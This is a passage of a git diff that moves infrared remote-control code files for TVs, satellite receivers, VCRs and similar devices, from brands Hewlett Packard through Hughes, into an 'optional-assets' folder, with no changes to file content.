assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir 